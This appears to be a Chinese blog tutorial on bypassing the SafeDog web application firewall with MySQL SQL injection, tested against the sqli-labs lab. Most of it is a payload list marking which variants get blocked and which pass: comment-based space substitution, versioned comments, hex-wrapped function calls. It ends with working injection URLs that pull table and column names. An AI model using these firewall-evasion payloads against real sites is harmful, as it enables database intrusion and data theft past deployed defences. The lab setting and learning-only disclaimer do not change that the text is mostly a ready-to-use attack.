MYSQL Bypass SafeDog

环境详情

采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境

本地安装参考:解决本地安装安全狗

phpstudy: 2021版

网站安全狗: Apache V4.0.30255

靶场: sqli-labs-less1 (字符型注入)

打开安全狗,防护措施拉满,防御sql注入的也拉满

MYSQL Bypass SafeDog

MYSQL Bypass SafeDog

接下来开始我们的绕过

通用

and和or被拦截

--+ 不拦截
and 不拦截
and1 不拦截
and 1 拦截
and/*aaaa*/1拦截
and/*//*/1 不拦截

安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截

?id=2 and1

MYSQL Bypass SafeDog

?id=2 and 1

MYSQL Bypass SafeDog

绕过方法是使用/*//*/代替空格

MYSQL Bypass SafeDog

联合查询

order by

order 不拦截
by 不拦截
orderby 不拦截
order /*!10440by*/ 拦截
order%0a%0aby拦截
/*!10000order*/%0a%0a/*!100440by*/拦截
orde/*//*/by 不拦截

安全狗过滤order by也是order空格by严格匹配,同样把空格换成/*//*/就能绕过

MYSQL Bypass SafeDog

union select

union 	不拦截
select 	不拦截
unionselect 拦截

+union --+1%0aselect 拦截
+union %23%0a+all+select+ 拦截
/*&id=-1'+union+select+1,2,3--+*/ 不拦截
+"/*" union select 1,2,3 "*/"--+  不拦截
+'/*' union select 1,2,3 %23*/--+ 不拦截

union/*//*/select 拦截
/*!10440union*//*//*/select 拦截
union/*//*//*!10440select*/ 不拦截
/*!10440union*//*!10440select*/ 拦截
/*!10440union*//*//*//*!10440select*/ 不拦截
/*!10450union*//*//*//*!10440select*/ 不拦截
/*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截

MYSQL Bypass SafeDog

获取数据库名

database()拦截
hex(database%0a())不拦截
hex(database/**/())不拦截

user()拦截
hex(user%0a()) 不拦截
hex(user/**/()) 不拦截

MYSQL Bypass SafeDog

MYSQL Bypass SafeDog

使用hacker的16进制解码就获取数据名和用户名了

获取表名

没有拦截?难道狗子觉得获取这个不重要

?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+

MYSQL Bypass SafeDog

获取字段名

依旧没有拦截

?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+

MYSQL Bypass SafeDog

获取数据

还是没有拦截, 那就别怪我偷家了

上一篇:第一个SpringMVC程序


下一篇:【MySQL】Mysql5.7升级到8.0.2问题记录